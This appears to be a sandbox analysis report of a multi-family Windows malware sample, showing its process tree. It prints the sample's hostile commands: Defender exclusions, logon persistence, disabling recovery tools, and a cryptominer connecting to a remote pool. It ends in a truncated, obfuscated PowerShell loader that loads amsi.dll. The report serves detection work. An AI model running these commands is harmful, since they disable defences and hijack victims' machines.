Token: SeBackupPrivilege	2500	svchost.exe
Token: SeRestorePrivilege	2500	svchost.exe
Token: SeShutdownPrivilege	2500	svchost.exe
Token: SeSystemEnvironmentPrivilege	2500	svchost.exe
Token: SeUndockPrivilege	2500	svchost.exe
Token: SeManageVolumePrivilege	2500	svchost.exe
Token: SeAuditPrivilege	2748	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2500	svchost.exe
Token: SeIncreaseQuotaPrivilege	2500	svchost.exe
Token: SeSecurityPrivilege	2500	svchost.exe
Token: SeTakeOwnershipPrivilege	2500	svchost.exe
Token: SeLoadDriverPrivilege	2500	svchost.exe
Token: SeSystemtimePrivilege	2500	svchost.exe
Token: SeBackupPrivilege	2500	svchost.exe
Token: SeRestorePrivilege	2500	svchost.exe
Token: SeShutdownPrivilege	2500	svchost.exe
Token: SeSystemEnvironmentPrivilege	2500	svchost.exe
Token: SeUndockPrivilege	2500	svchost.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
4380	cmd.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2448 wrote to memory of 4056	2448	2026-07-19_8ab61e82c5875660f6eb0f8f7cf1d2b7_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	85
PID 2448 wrote to memory of 1284	2448	2026-07-19_8ab61e82c5875660f6eb0f8f7cf1d2b7_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	87
PID 2448 wrote to memory of 4492	2448	2026-07-19_8ab61e82c5875660f6eb0f8f7cf1d2b7_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	89
PID 2448 wrote to memory of 1276	2448	2026-07-19_8ab61e82c5875660f6eb0f8f7cf1d2b7_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	91
PID 2448 wrote to memory of 1580	2448	2026-07-19_8ab61e82c5875660f6eb0f8f7cf1d2b7_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	93
PID 1580 wrote to memory of 4284	1580	cmd.exe	97
PID 2448 wrote to memory of 2704	2448	2026-07-19_8ab61e82c5875660f6eb0f8f7cf1d2b7_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	100
PID 2704 wrote to memory of 4020	2704	cmd.exe	105
PID 2448 wrote to memory of 3340	2448	2026-07-19_8ab61e82c5875660f6eb0f8f7cf1d2b7_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	108
PID 3340 wrote to memory of 4744	3340	cmd.exe	110
PID 2448 wrote to memory of 2892	2448	2026-07-19_8ab61e82c5875660f6eb0f8f7cf1d2b7_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	111
PID 2892 wrote to memory of 1488	2892	cmd.exe	113
PID 2448 wrote to memory of 3452	2448	2026-07-19_8ab61e82c5875660f6eb0f8f7cf1d2b7_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	114
PID 2448 wrote to memory of 4652	2448	2026-07-19_8ab61e82c5875660f6eb0f8f7cf1d2b7_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	116
PID 2448 wrote to memory of 3524	2448	2026-07-19_8ab61e82c5875660f6eb0f8f7cf1d2b7_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	118
PID 2448 wrote to memory of 2016	2448	2026-07-19_8ab61e82c5875660f6eb0f8f7cf1d2b7_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	120
PID 2448 wrote to memory of 1196	2448	2026-07-19_8ab61e82c5875660f6eb0f8f7cf1d2b7_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	122
PID 2448 wrote to memory of 4460	2448	2026-07-19_8ab61e82c5875660f6eb0f8f7cf1d2b7_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	124
PID 2448 wrote to memory of 640	2448	2026-07-19_8ab61e82c5875660f6eb0f8f7cf1d2b7_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	126
PID 2448 wrote to memory of 3552	2448	2026-07-19_8ab61e82c5875660f6eb0f8f7cf1d2b7_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	128
PID 3552 wrote to memory of 4144	3552	cmd.exe	130
PID 2448 wrote to memory of 1600	2448	2026-07-19_8ab61e82c5875660f6eb0f8f7cf1d2b7_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	139
PID 5000 wrote to memory of 2512	5000	cmd.exe	141
PID 2448 wrote to memory of 3448	2448	2026-07-19_8ab61e82c5875660f6eb0f8f7cf1d2b7_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	143
PID 3448 wrote to memory of 1160	3448	svchost.exe	144
PID 2448 wrote to memory of 4380	2448	2026-07-19_8ab61e82c5875660f6eb0f8f7cf1d2b7_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	145
PID 2448 wrote to memory of 2224	2448	2026-07-19_8ab61e82c5875660f6eb0f8f7cf1d2b7_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	146
PID 668 wrote to memory of 4020	668	cmd.exe	148
PID 4020 wrote to memory of 616	4020	powershell.exe	5
PID 616 wrote to memory of 672	616	winlogon.exe	7
PID 616 wrote to memory of 868	616	winlogon.exe	11
PID 616 wrote to memory of 1004	616	winlogon.exe	13
PID 616 wrote to memory of 532	616	winlogon.exe	14
PID 616 wrote to memory of 972	616	winlogon.exe	15
PID 616 wrote to memory of 1048	616	winlogon.exe	16
PID 616 wrote to memory of 1140	616	winlogon.exe	18
PID 616 wrote to memory of 2604	616	winlogon.exe	150
PID 616 wrote to memory of 1152	616	winlogon.exe	19
PID 616 wrote to memory of 1236	616	winlogon.exe	20
PID 616 wrote to memory of 1260	616	winlogon.exe	21
PID 616 wrote to memory of 1304	616	winlogon.exe	22
PID 616 wrote to memory of 1312	616	winlogon.exe	23
PID 616 wrote to memory of 1392	616	winlogon.exe	24
PID 616 wrote to memory of 1452	616	winlogon.exe	25
PID 616 wrote to memory of 1532	616	winlogon.exe	26
PID 616 wrote to memory of 1560	616	winlogon.exe	27
PID 616 wrote to memory of 1636	616	winlogon.exe	28
PID 616 wrote to memory of 1656	616	winlogon.exe	29
PID 616 wrote to memory of 1780	616	winlogon.exe	30
PID 616 wrote to memory of 1812	616	winlogon.exe	31
PID 616 wrote to memory of 1876	616	winlogon.exe	32
PID 616 wrote to memory of 1940	616	winlogon.exe	33
PID 616 wrote to memory of 1980	616	winlogon.exe	34
PID 616 wrote to memory of 1360	616	winlogon.exe	35
PID 616 wrote to memory of 1380	616	winlogon.exe	36
PID 616 wrote to memory of 1808	616	winlogon.exe	37
PID 616 wrote to memory of 1988	616	winlogon.exe	38
PID 616 wrote to memory of 2124	616	winlogon.exe	39
PID 616 wrote to memory of 2296	616	winlogon.exe	41
PID 616 wrote to memory of 2320	616	winlogon.exe	42
PID 616 wrote to memory of 2500	616	winlogon.exe	43
PID 616 wrote to memory of 2568	616	winlogon.exe	44
PID 616 wrote to memory of 2576	616	winlogon.exe	45
PID 616 wrote to memory of 2692	616	winlogon.exe	46

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:616
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  PID:532
- C:\Windows\Win-v41.exe
  "C:\Windows\Win-v41.exe"
  2⤵
  - Looks for VirtualBox Guest Additions in registry
  - Looks for VMWare Tools registry key
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  PID:2604

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:672

C:\Windows\System32\WUDFHost.exe
"C:\Windows\System32\WUDFHost.exe" -HostGUID:{193a1820-d9ac-4997-8c55-be817523f6aa} -IoEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-918e81e4-bca0-47e7-ae2c-9727fa930cd7 -SystemEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-f228e15d-d68c-4461-a0e0-4accb55ae9ef -IoCancelEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-30485ad4-0eb2-4b47-9c98-a544e84fe230 -NonStateChangingEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-a6651277-59da-4145-9b65-841021eaec69 -LifetimeId:fe4d881b-18fb-40cd-8340-69c1c4e0e4f8 -DeviceGroupId:WudfDefaultDevicePool -HostArg:0
1⤵
PID:868

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:1004

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:972

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:1048

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1140

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1152

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
PID:1236
- C:\Windows\system32\taskhostw.exe
  taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
  2⤵
  PID:2384

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
PID:1260

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s DisplayEnhancementService
1⤵
PID:1304

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1312

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1392

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1452

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1532

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1560

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1636
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:2844

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1656

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1780

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1812

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
1⤵
PID:1876

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1940

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
1⤵
PID:1980

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
1⤵
PID:1360

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1380

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:1808

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:1988

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2124

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2296

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2320

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2500

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2568

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2576

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
1⤵
- Drops file in System32 directory
PID:2692

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2748

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2756

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2768

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:2852

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
1⤵
PID:1100

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:3188

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious behavior: GetForegroundWindowSpam
PID:3312
- C:\Users\Admin\AppData\Local\Temp\2026-07-19_8ab61e82c5875660f6eb0f8f7cf1d2b7_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
  "C:\Users\Admin\AppData\Local\Temp\2026-07-19_8ab61e82c5875660f6eb0f8f7cf1d2b7_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe"
  2⤵
  - Looks for VirtualBox Guest Additions in registry
  - Looks for VMWare Tools registry key
  - Adds Run key to start application
  - Drops file in System32 directory
  - Suspicious use of SetThreadContext
  - Drops file in Windows directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:2448
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Add-MpPreference -ExclusionProcess 'powershell.exe'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4056
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Add-MpPreference -ExclusionProcess 'cmd.exe'; Add-MpPreference -ExclusionPath 'C:\'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1284
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Add-MpPreference -ExclusionProcess 'WinTemp-v4.exe'; Add-MpPreference -ExclusionProcess 'Win-v42.exe'; Add-MpPreference -ExclusionProcess 'Win-v43.exe'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4492
- - C:\Windows\SYSTEM32\schtasks.exe
    schtasks /Create /TN "v4" /TR "C:\Windows\System32\Win-v42.exe" /SC ONLOGON /RL HIGHEST /F
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1276
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /C reagentc /disable
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1580
  - - C:\Windows\system32\ReAgentc.exe
      reagentc /disable
      4⤵
      Drops file in System32 directory
      Drops file in Windows directory
      PID:4284
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /C takeown /F "%SystemRoot%\System32\reagentc.exe"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2704
  - - C:\Windows\system32\takeown.exe
      takeown /F "C:\Windows\System32\reagentc.exe"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      Suspicious use of AdjustPrivilegeToken
      PID:4020
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /C icacls "%SystemRoot%\System32\reagentc.exe" /grant Administrators:F
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3340
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\System32\reagentc.exe" /grant Administrators:F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4744
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /C icacls "%SystemRoot%\System32\reagentc.exe" /deny Everyone:RX
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2892
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\System32\reagentc.exe" /deny Everyone:RX
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1488
- - C:\Windows\SYSTEM32\powercfg.exe
    powercfg /change monitor-timeout-ac 0
    3⤵
    - Power Settings
    - Suspicious use of AdjustPrivilegeToken
    PID:3452
- - C:\Windows\SYSTEM32\powercfg.exe
    powercfg /change monitor-timeout-dc 0
    3⤵
    - Power Settings
    - Suspicious use of AdjustPrivilegeToken
    PID:4652
- - C:\Windows\SYSTEM32\powercfg.exe
    powercfg /change standby-timeout-ac 0
    3⤵
    - Power Settings
    - Suspicious use of AdjustPrivilegeToken
    PID:3524
- - C:\Windows\SYSTEM32\powercfg.exe
    powercfg /change standby-timeout-dc 0
    3⤵
    - Power Settings
    - Suspicious use of AdjustPrivilegeToken
    PID:2016
- - C:\Windows\SYSTEM32\powercfg.exe
    powercfg /change hibernate-timeout-ac 0
    3⤵
    - Power Settings
    - Suspicious use of AdjustPrivilegeToken
    PID:1196
- - C:\Windows\SYSTEM32\powercfg.exe
    powercfg /change hibernate-timeout-dc 0
    3⤵
    - Power Settings
    - Suspicious use of AdjustPrivilegeToken
    PID:4460
- - C:\Windows\SYSTEM32\powercfg.exe
    powercfg /hibernate off
    3⤵
    - Power Settings
    - Suspicious use of AdjustPrivilegeToken
    PID:640
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping -n 1 -w 1000 8.8.8.8 > nul
    3⤵
    - Executes a command shell one-liner
    - System Network Configuration Discovery: Internet Connection Discovery
    - Suspicious use of WriteProcessMemory
    PID:3552
  - - C:\Windows\system32\PING.EXE
      ping -n 1 -w 1000 8.8.8.8
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:4144
- - C:\Windows\SysWOW64\svchost.exe
    C:\Windows\SysWOW64\svchost.exe
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:1600
- - C:\Windows\SysWOW64\svchost.exe
    C:\Windows\SysWOW64\svchost.exe
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3448
  - - C:\Users\Admin\AppData\Local\Temp\vFFISlhA.exe
      "C:\Users\Admin\AppData\Local\Temp\vFFISlhA.exe"
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1160
- - C:\Windows\System32\cmd.exe
    C:\Windows\System32\cmd.exe --algo rx/0 --url 94.154.32.229:3333 --user 439RTMrajyhLb4cLK4YDejMx4rp8b5VDR4YX4auqWGbgUBj1c4wVbvc69bVUmJuJ8rXWwCU7LAGL9MkFaMwDwXjo6FrM5Y3/x -p x -k --cpu-max-threads-hint=90
    3⤵
    - Badlisted process makes network request
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of FindShellTrayWindow
    PID:4380
- - C:\Windows\SysWOW64\svchost.exe
    C:\Windows\SysWOW64\svchost.exe
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:2224

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3440

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3620

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3788

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3180

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
PID:1696

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:732

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
PID:4968

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
- Modifies data under HKEY_USERS
PID:876

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:1588

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:4656

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3212

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
PID:2312

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s camsvc
1⤵
PID:4724

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
1⤵
PID:4908

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p
1⤵
PID:4344

C:\Windows\System32\Win-v42.exe
C:\Windows\System32\Win-v42.exe
1⤵
- Looks for VirtualBox Guest Additions in registry
- Looks for VMWare Tools registry key
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:4788

C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\Win-v43.exe
C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\Win-v43.exe
1⤵
- Looks for VirtualBox Guest Additions in registry
- Looks for VMWare Tools registry key
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:4796

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k WerSvcGroup
1⤵
PID:1168

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
1⤵
PID:744

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
- Checks BIOS information in registry
- Checks SCSI registry key(s)
- Enumerates system info in registry
PID:1104

C:\Windows\servicing\TrustedInstaller.exe
C:\Windows\servicing\TrustedInstaller.exe
1⤵
PID:4124

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
1⤵
PID:3816

C:\Windows\System32\mousocoreworker.exe
C:\Windows\System32\mousocoreworker.exe -Embedding
1⤵
PID:2092

C:\Windows\system32\cmd.exe
cmd.exe /c "powershell.exe -Command ""function Local:QgPWqaXcRkSd{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$fUMFhWzHuUKKWa,[Parameter(Position=1)][Type]$KeHmLDYEoP)$WJGcyMXOOvV=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('Ref'+[Char](108)+''+'e'+''+[Char](99)+''+[Char](116)+'ed'+[Char](68)+''+[Char](101)+'l'+[Char](101)+'g'+[Char](97)+'t'+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+'n'+'M'+''+[Char](101)+''+[Char](109)+''+[Char](111)+''+'r'+''+[Char](121)+''+'M'+'o'+[Char](100)+''+[Char](117)+''+[Char](108)+''+[Char](101)+'',$False).DefineType(''+[Char](77)+''+'y'+''+'D'+'e'+[Char](108)+''+'e'+''+[Char](103)+''+'a'+''+'t'+''+'e'+''+'T'+''+[Char](121)+''+[Char](112)+'e',''+[Char](67)+'l'+[Char](97)+''+'s'+'s'+[Char](44)+''+'P'+''+[Char](117)+'b'+[Char](108)+'i'+[Char](99)+''+','+''+[Char](83)+''+'e'+''+[Char](97)+''+[Char](108)+''+[Char](101)+'d,A'+'n'+''+[Char](115)+'i'+[Char](67)+'l'+[Char](97)+'ss,'+[Char](65)+''+[Char](117)+''+[Char](116)+''+[Char](111)+''+[Char](67)+''+'l'+''+[Char](97)+''+[Char](115)+''+[Char](115)+'',[MulticastDelegate]);$WJGcyMXOOvV.DefineConstructor('R'+'T'+'S'+'p'+'e'+'c'+''+'i'+''+[Char](97)+''+'l'+''+[Char](78)+''+'a'+''+[Char](109)+''+[Char](101)+''+','+''+'H'+'id'+[Char](101)+''+'B'+'y'+'S'+''+[Char](105)+'g'+[Char](44)+''+[Char](80)+''+[Char](117)+''+'b'+'lic',[Reflection.CallingConventions]::Standard,$fUMFhWzHuUKKWa).SetImplementationFlags('R'+'u'+''+'n'+''+'t'+''+[Char](105)+''+'m'+'e,'+'M'+''+[Char](97)+''+[Char](110)+''+'a'+''+[Char](103)+'ed');$WJGcyMXOOvV.DefineMethod(''+'I'+''+[Char](110)+''+'v'+'oke',''+[Char](80)+''+[Char](117)+''+'b'+''+'l'+''+[Char](105)+'c'+','+''+[Char](72)+''+[Char](105)+''+'d'+''+'e'+''+[Char](66)+''+[Char](121)+''+[Char](83)+''+[Char](105)+''+'g'+''+[Char](44)+''+[Char](78)+'e'+[Char](119)+''+[Char](83)+''+[Char](108)+''+[Char](111)+''+[Char](116)+',V'+[Char](105)+'r'+[Char](116)+'u'+[Char](97)+''+'l'+'',$KeHmLDYEoP,$fUMFhWzHuUKKWa).SetImplementationFlags(''+'R'+''+[Char](117)+''+[Char](110)+'t'+'i'+''+'m'+'e'+[Char](44)+''+[Char](77)+''+'a'+''+[Char](110)+''+[Char](97)+''+'g'+'e'+'d'+'');Write-Output $WJGcyMXOOvV.CreateType();}$vghXXpNNwAmfE=([AppDomain]::CurrentDomain.GetAssemblies()^|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('S'+[Char](121)+''+[Char](115)+'t'+[Char](101)+''+[Char](109)+''+'.'+''+'d'+''+'l'+''+[Char](108)+'')}).GetType(''+'M'+''+'i'+''+'c'+''+[Char](114)+'o'+'s'+''+[Char](111)+''+[Char](102)+''+[Char](116)+''+[Char](46)+''+[Char](87)+''+'i'+''+[Char](110)+''+[Char](51)+''+[Char](50)+''+[Char](46)+''+[Char](85)+'ns'+'a'+''+'f'+'e'+'N'+''+[Char](97)+''+[Char](116)+''+[Char](105)+''+'v'+''+'e'+''+'M'+''+'e'+''+'t'+'h'+[Char](111)+''+'d'+'s');$pSDiQsvveLhuXP=$vghXXpNNwAmfE.GetMethod(''+[Char](71)+''+[Char](101)+''+[Char](116)+''+[Char](80)+''+[Char](114)+''+[Char](111)+''+[Char](99)+'A'+'d'+''+[Char](100)+''+[Char](114)+'e'+'s'+'s',[Reflection.BindingFlags](''+[Char](80)+'u'+'b'+'lic,'+[Char](83)+''+[Char](116)+'at'+'i'+''+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$fSIfrGKrczeDksrRnhK=QgPWqaXcRkSd @([String])([IntPtr]);$SqKbyjFcBTOYQvSlirAmoH=QgPWqaXcRkSd @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$rGQrwvBdNRe=$vghXXpNNwAmfE.GetMethod(''+'G'+'e'+[Char](116)+''+[Char](77)+''+'o'+''+[Char](100)+''+[Char](117)+''+[Char](108)+''+'e'+''+[Char](72)+'a'+'n'+'d'+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object](''+'k'+''+[Char](101)+''+'r'+''+[Char](110)+''+[Char](101)+''+'l'+''+[Char](51)+''+[Char](50)+''+[Char](46)+''+[Char](100)+''+'l'+''+'l'+'')));$BUHNDrUhjAJIOt=$pSDiQsvveLhuXP.Invoke($Null,@([Object]$rGQrwvBdNRe,[Object]('L'+[Char](111)+''+[Char](97)+''+[Char](100)+'Li'+'b'+'r'+[Char](97)+'r'+[Char](121)+''+'A'+'')));$DRNsmzIviwHpSstSY=$pSDiQsvveLhuXP.Invoke($Null,@([Object]$rGQrwvBdNRe,[Object]('V'+'i'+'r'+[Char](116)+''+[Char](117)+''+'a'+''+[Char](108)+''+[Char](80)+'ro'+'t'+''+'e'+''+[Char](99)+''+'t'+'')));$VUJnvhO=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($BUHNDrUhjAJIOt,$fSIfrGKrczeDksrRnhK).Invoke(''+'a'+'m'+[Char](115)+''+[Char](105)+''+[Char](46)+''+[Char](100)+'l'+'l'+'');$kqyouEYpUwLnBnbcM=$pSDiQsvv